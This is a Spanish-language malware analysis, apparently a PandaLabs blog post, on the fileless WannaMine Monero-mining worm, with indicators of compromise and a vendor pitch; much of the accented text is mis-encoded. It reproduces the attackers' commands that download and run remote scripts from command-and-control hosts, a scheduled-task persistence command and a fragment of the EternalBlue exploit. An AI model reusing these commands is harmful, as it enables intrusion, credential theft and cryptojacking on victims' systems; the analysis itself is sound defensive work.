鈥淔ileless Monero WannaMine, un nuevo ataque descubierto por PandaLabs鈥

El minado de criptomonedas como bitcoin, ethereum o monero no es nuevo. De hecho, en los 煤ltimos a帽os hemos visto numerosos ataques cuyo objetivo era 聽instalar software de miner铆a como objetivo principal. Por ejemplo, merece la pena recordar que antes de WannaCry, ya hab铆amos visto a atacantes utilizar el exploit de la NSA EternalBlue para entrar en empresas e instalar este tipo de software en las m谩quinas de sus v铆ctimas.

Podemos afirmar que es un negocio en auge, ya que la sofisticaci贸n de los ataques no deja de aumentar. Hace unos d铆as detectamos un nuevo gusano que utiliza tanto herramientas de hacking como scripts para propagarse por redes corporativas y minar la criptomoneda Monero en toda red por donde pase.

Desde Adaptive Defense monitorizamos en tiempo real todos los procesos que est谩n en ejecuci贸n en todas las m谩quinas donde est谩 instalado, por lo que cuando nuestro equipo de Threat Hunting vio el siguiente comando tratando de ser ejecutado por uno de los procesos de un equipo, saltaron las alarmas:

cmd /v:on /c for /f “tokens=2 delims=.[” %i in (‘ver’) do (set a=%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&@echo Set ox=CreateObject^(“MSXML2.XMLHTTP”^)>>%windir%\11.vbs&@echo ox.open “GET”,”http://stafftest.firewall-gateway.com:8000/info.vbs“,false>>%windir%\11.vbs&@echo ox.setRequestHeader “User-Agent”, “-“>>%windir%\11.vbs&@echo ox.send^(^)>>%windir%\11.vbs&@echo If ox.Status=200 Then>>%windir%\11.vbs&@echo Set oas=CreateObject^(“ADODB.Stream”^)>>%windir%\11.vbs&@echo oas.Open>>%windir%\11.vbs&@echo oas.Type=1 >>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile “%windir%\info.vbs”,2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\11.vbs&@echo End if>>%windir%\11.vbs&@echo Set os=CreateObject^(“WScript.Shell”^)>>%windir%\11.vbs&@echo os.Exec^(“cscript.exe %windir%\info.vbs”^)>>%windir%\11.vbs&cscript.exe %windir%\11.vbs) else (powershell -NoP -NonI -W Hidden “if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(’64’)){IEX(New-Object Net.WebClient).DownloadString(‘http://stafftest.firewall-gateway.com:8000/info6.ps1′)}else{IEX(New-Object Net.WebClient).DownloadString(‘http://stafftest.firewall-gateway.com:8000/info3.ps1′)}“)

An谩lisis de una propagaci贸n por red

Al poco de ponernos a investigar desde PandaLabs vimos como los atacantes, al ser descubiertos, cerraron los servidores de comando y control (c&c), pero sin poder evitar que nos descarg谩ramos los siguientes ficheros:

  • b6fcd1223719c8f6daf4ab7fbeb9a20a 聽聽聽聽聽聽聽聽聽 ps1 ~4MB
  • 27e4f61ee65668d4c9ab4d9bf5d0a9e7 vbs ~2MB

Son 2 scripts altamente ofuscados. El 鈥渋nfo6.ps1鈥 carga de forma reflectiva (sin tocar el disco) un m贸dulo (dll) de Mimikatz, de forma que pueda robar las credenciales que encuentre en el equipo. Estas credenciales se utilizar谩n posteriormente para moverse lateralmente en redes internas (desprotegidas).

panda-security-ataque

El script implementa, en PowerShell, el famoso exploit de NetBios conocido como 鈥EternalBlue鈥 (MS17-010), de forma que pueda comprometer otros equipos Windows de la red no parcheados ante esta vulnerabilidad:

$TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
$TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
[byte[]]$fakeSrvNetBufferNsa = @(0x00,0x10,0x01,0x00,0x00
[byte[]]$fakeSrvNetBufferX64 = @(0x00,0x10,0x01,0x00,0x00
$fakeSrvNetBuffer = $fakeSrvNetBufferNsa
[byte[]]$feaList=[byte[]](0x00,0x00,0x01,0x00)
$feaList += $ntfea[$NTFEA_SIZE] $feaList +=0x00,0x00,0x8f,0x00+ $fakeSrvNetBuffer
$feaList +=0x12,0x34,0x78,0x56
[byte[]]$fake_recv_struct=@(0x00,0x00,0x00,0x00,0x00,0x00

Al mismo tiempo hace uso de WMI para ejecutar de forma remota comandos. Una vez obtenidas las contrase帽as de un equipo, vemos como en ese equipo el proceso wmiprvse.exe鈥 ejecuta una l铆nea de comandos similar a la siguiente:

powershell.exe -NoP -NonI -W Hidden聽 -E JABzAHQAaQBtAGUAPQBbAEUAbgB2AGkAcgBvAG4AbQBlAG4Ad鈥

Si decodificamos el 鈥渂ase 64鈥 de esta l铆nea de comandos, obtenemos el script mostrado en el Anexo I.

Persistencia en el sistema

Dentro de uno de los scripts se encuentra el siguiente comando para conseguir la persistencia en el sistema:

cmd /c echo powershell -nop “$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains(‘SCM Event Filter’)))) {IEX(New-Object Net.WebClient).DownloadString(‘http://stafftest.spdns.eu:8000/mate6.ps1′)}” >%temp%\y1.bat && SCHTASKS /create /RU System /SC DAILY /TN yastcat /f /TR “%temp%\y1.bat” &&SCHTASKS /run /TN yastcat

Como podemos ver, se programa una tarea diaria que descarga y ejecuta el fichero 鈥測1.bat鈥.

Nota: no disponemos de este fichero ya que los servidores de comando y control (c&c) se encuentran offline.

Vector de infecci贸n

Desconocemos a煤n el vector inicial de infecci贸n, ya que aquellas redes donde lo hemos detectado y bloqueado estaban en proceso de despliegue de Adaptive Defense en ese momento y no ten铆an toda la red protegida con nuestra soluci贸n de ciberseguridad avanzada., Es por este motivo por lo que no hemos podido determinar qui茅n ha sido el paciente 0 y c贸mo fue 茅ste comprometido.

Podr铆a tratarse de una descarga/ejecuci贸n de un fichero/troyano que activase el gusano inicialmente, o bien fuese ejecutado de forma remota utilizando alg煤n exploit.

Servidores de Comando y Control

Del script 鈥渋nfo6.ps1鈥 se han podido obtener los siguientes servidores de comando y control:

  • spdns.eu
  • firewall-gateway.com
  • 179.67.243
  • 184.48.95

Nota: el d铆a 27 de octubre de 2017, estos servidores dejaron de estar operativos.

118.184.48.95

panda-security

107.179.67.243

panda-security

stafftest.firewall-gateway.com

pandalabs-ataque

stafftest.firewall-gateway.com

malware

IOCs

  • exe ( Monero, MD5 2ad7a39b17d08b3a685d36a23bf8d196 )
  • %windir%\11.vbs
  • %windir%\info.vbs
  • %windir%\info6.ps1
  • dll
  • dll
  • Tarea programada 鈥測astcat鈥
  • spdns.eu
  • firewall-gateway.com
  • 179.67.243
  • 184.48.95

Conclusi贸n

Confirmamos la profesionalizaci贸n y nuevas t谩cticas para crear ataques cada vez m谩s avanzados, incluso a pesar de que 煤nicamente se trata de instalar mineros de Monero y no hablamos de robo de datos, sabotaje, ni espionaje. El hecho de que se trate de un ataque fileless hace que la mayor铆a de las soluciones antivirus tradicionales apenas puedan actuar, y a sus v铆ctimas s贸lo les queda esperar a que se generen las firmas necesarias (el ataque es fileless, pero como hemos visto en un momento determinado se descarga tanto los scripts como el cliente de Monero).

Pero esto s贸lo sirve para este ataque y a nada que var铆e levemente ser谩 inservible, por no hablar que as铆 s贸lo se detecta la parte final del ataque, sin ver el movimiento a trav茅s de la red y c贸mo se van comprometiendo todos los ordenadores de la misma.

Desde Adaptive Defense no s贸lo clasificamos todos los procesos que se ejecutan en cada uno de los equipos de la red, sino que monitorizamos en tiempo real todos ellos ya que sabemos que los atacantes utilizan cada vez m谩s ataques sin malware en los que abusan de herramientas del propio sistema para llevar a cabo sus actividades delictivas.

Entre los eventos que monitorizamos se pueden encontrar:

  • Creaci贸n de procesos e inyecci贸n remota
  • Creaci贸n, modificaci贸n y apertura de ficheros
  • Creaci贸n y modificaci贸n de entradas de registro
  • Eventos de red (aperture de comunicaciones, descarga de ficheros, etc.)
  • Eventos administrativos (creaci贸n de usuarios, etc.)

Seguiremos informando de nuestra labor en Threat Hunting y detecci贸n de ataques.